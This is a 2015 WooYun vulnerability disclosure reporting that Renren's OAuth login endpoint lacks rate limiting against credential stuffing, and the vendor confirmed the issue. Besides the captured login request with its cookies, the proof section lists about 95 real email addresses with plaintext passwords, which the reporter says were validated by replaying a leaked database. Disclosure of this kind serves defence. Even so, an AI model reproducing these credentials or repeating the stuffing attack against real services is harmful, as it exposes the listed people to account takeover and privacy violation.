当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112812

漏洞标题：某接口撞库泄露用户登录凭据(有批量账号证明)

相关厂商：人人网

漏洞作者： 路人甲

提交时间：2015-05-08 11:43

修复时间：2015-06-22 13:22

公开时间：2015-06-22 13:22

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-08： 细节已通知厂商并且等待厂商处理中
2015-05-08： 厂商已经确认，细节仅向厂商公开
2015-05-18： 细节向核心白帽子及相关领域专家公开
2015-05-28： 细节向普通白帽子公开
2015-06-07： 细节向实习白帽子公开
2015-06-22： 细节向公众公开

简要描述：

撞库扫号攻击已经是Top 10 Security Risks for 2014之一.撞库泄露用户隐私

详细说明：

三方认证的登录接口没有防御撞库。对登录接口的调用没有进行限制。经过测试发现，使用某泄露数据库可以碰撞获得大量有效的登录账号。 登录接口抓包如下：
https://graph.renren.com/oauth/grant

POST /oauth/grant HTTP/1.1
Host: graph.renren.com
Connection: close
Content-Length: 811
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://graph.renren.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://graph.renren.com/oauth/grant?client_id=6f74c7e44b824432835e70f0544013fb&redirect_uri=http%3A%2F%2Fpassport.baidu.com%2Fphoenix%2Faccount%2Fafterauth%3Fmkey%3D5fec5f70f3097022b2d86c338568de29&response_type=code&display=page&scope=publish_share+create_album+photo_upload+publish_blog+publish_checkin+publish_comment+publish_feed+read_user_album+read_user_blog+read_user_checkin+read_user_comment+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+send_invitation+send_message+status_update+write_guestbook&state=&secure=true&origin=00000&username=ddddd&error_code=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: anonymid=i9ea6gwi-brfc4d; depovince=GW; _r01_=1; __utma=151146938.1916745302.1431010087.1431010087.1431010087.1; __utmc=151146938; __utmz=151146938.1431010087.1.1.utmcsr=renren.com|utmccn=(referral)|utmcmd=referral|utmcct=/SysHome.do; jebe_key=e35dab7c-5844-44a6-82b9-e656fbb5b82f%7C0083196e9ea7095a9b38cfdeb7d12861%7C1431010451205%7C1%7C1431010452089; first_login_flag=1; loginfrom=syshome; ln_uact=litsand@qq.com; ln_hurl=http://hdn.xnimg.cn/photos/hdn521/20101109/2035/h_main_CXTM_2765000203bd2f75.jpg; jebecookies=40809c3b-2866-4ffb-a1b6-d70d40ea1ee4|||||; ick_login=77c42c1e-88cf-42de-ba77-326369bd0865; ick=9601b7e3-6d26-4d07-97d9-9280d9945d4b
RA-Ver: 2.10.0
RA-Sid: 7B9DD012-20150303-080129-82895f-fb68a9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
login_type=false&username=huanlingyun_1984@163%2ecom&password=19840801&icode=&isNeedIcode=&authFeed=true&follow=true&porigin=80100&redirect_uri=http%3A%2F%2Fpassport.baidu.com%2Fphoenix%2Faccount%2Fafterauth%3Fmkey%3D5fec5f70f3097022b2d86c338568de29&client_id=6f74c7e44b824432835e70f0544013fb&response_type=code&scope=publish_share+create_album+photo_upload+publish_blog+publish_checkin+publish_comment+publish_feed+read_user_album+read_user_blog+read_user_checkin+read_user_comment+read_user_feed+read_user_guestbook+read_user_invitation+read_user_like_history+read_user_message+read_user_notification+read_user_photo+read_user_status+send_invitation+send_message+status_update+write_guestbook&state=&display=page&post_form_id=98ac067daf88e93c580b747c6b3e9123-30-1431053111294&authorizeOrigin=00000&secure=true

漏洞证明：

经过测试发现，使用某泄露数据库可以碰撞获得大量有效的登录账号.
由于之前没有保存记录。又跑了一次。大部分账号都触发锁定策略了。。跑了一万5成功7百多，可见renren注册会员还是相当多啊。

liuqiang_xq@126.com	xq19900809
864466981@qq.com	Yang5845211314
baobaoaixian@163.com	124052338
xizhi0606@yahoo.com.cn	1301248118
qslsist@163.com	qushuliang0426
suenjiebao@tom.com	11091109
lvqian0425@126.com	woaimama
zhangxinjungansu@126.com	zhanggeorge
chinagiggs2007@yahoo.com.cn	ag127val
zhangzhezhi@gmail.com	zzzhui123
jonioncc@163.com	smilernihao
bingzhi666@163.com	zyqnihao1314521
183059067@qq.com	becky362329
504891636@qq.com	5211314319
wuyi8702@126.com	wuyi8702
liujian313712@163.com	qq123456
lovmi827@sina.com	yfj827319
malcolm_1394@MSCampus.cn	11111111
174928883@qq.com	qiaolin911
576102320@qq.com	wangshuo
416643834@qq.com	caidianying
aikuaixiaodemao@163.com	maomao41421
137477747@qq.com	zhongai13
1124062580@qq.com	59305611
yangyibo999@163.com	124592203
zuowenliangmail@sina.com	85481076
hikaru211@126.com	s@iDream
hbbdlhw@126.com	up369com
727655032@qq.com	qpl1qpl1
290769069@qq.com	258468895
canxue945@163.com	13580617139
huang28163336@yahoo.com.cn	huang55431
huangdexin83@163.com	813813813
375971709@qq.com	83030545
chen123qaz@163.com	11709352
hzstan@163.com	27821195
lovejin1013@sina.com	85918725lovejin
jhl0623@gmail.com	19860623
zzlfinal@yahoo.com.cn	19770722
zhz49552078@163.com	zhz13934157016
quanquan_1101@126.com	13469847409
911107zj@sina.com	19820920
zozozozoz@126.com	19871208
alancy14@qq.com	sandy1234
153227972@qq.com	yangjia1234
sjt820809@163.com	19820809
71872642@qq.com	87831411
gwxarc@hotmail.com	072324aa
5364097@163.com	6633270692
lilinming2004@163.com	19850416
gpjzt123@163.com	87334967
shengri19880515@126.com	shengri19880515
cyxcxycyx@163.com	cyxcxycyx4321
chenjinmyin@qq.com	cheng911
chengshibaiduqiang@163.com	qiang477577
609920053@qq.com	526201344
409298743@QQ.COM	luocan16816888
yanzhongsheng@126.com	198552200
jingjingweiwei2007@yeah.net	wei195411
128yxf128@sina.com	0126530334yxx
293448308@qq.com	LWZL139791
songyu12321@sina.com	sy2180836
2199kaixinxiaoyu@163.com	2199kaixinxiaoyu
zhulaosi001@163.com	24248423
linken1989@126.com	n19880308n
xgjsky@vip.qq.com	zygy564335
xiaogaoyushizhu@126.com	198610102418
agnes.lee@yeah.net	159357qtoetu
kamendeqingren@sohu.com	kamendeqing1984
165032704@qq.com	58929176
q258z258m258@163.com	15849064661qzm
luwei221@126.com	lubingquan
dingzg168@qq.com	19086763
qq153998056@163.com	153998056ding
450616144@qq.com	a34416912
wangluozhixing2005@126.com	79981134
919438088@qq.com	qq63426084
whatpity210@yahoo.com.cn	wanqin210
hejiafeng98@sina.com	hejiafeng98
top-solo@163.com	snaketop
ba1ham@163.com	ba0630ham
xiaoshufen2008@163.com	13972688068
278696436@qq.com	liujia19891127
1040410808@qq.com	zxcvb123
shijian.chen@hotmail.com	abiange2009
735642992@qq.com	qiujin5201314
472622322@qq.com	jia368495
lzalmy@126.com	liuzhe123
xiangyang2006@163.com	zhuchiju
zhangyaling_ai@163.com	19870623zyl
orobxof@163.com	27930333
lxs2liweilxs@163.com	lw198718
leiyangai1978@sina.com	13887295120lya


屏幕快照 2015-05-07 下午10.54.03.png

修复方案：

撞库防御参考资料:http://stayliv3.github.io/2015/04/15/%E6%92%9E%E5%BA%93%E6%94%BB%E5%87%BB%E9%98%B2%E5%BE%A1%E6%96%B9%E6%A1%88/

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-05-08 13:21

厂商回复：

谢谢，非常感谢！

最新状态：

暂无

漏洞评价：

评论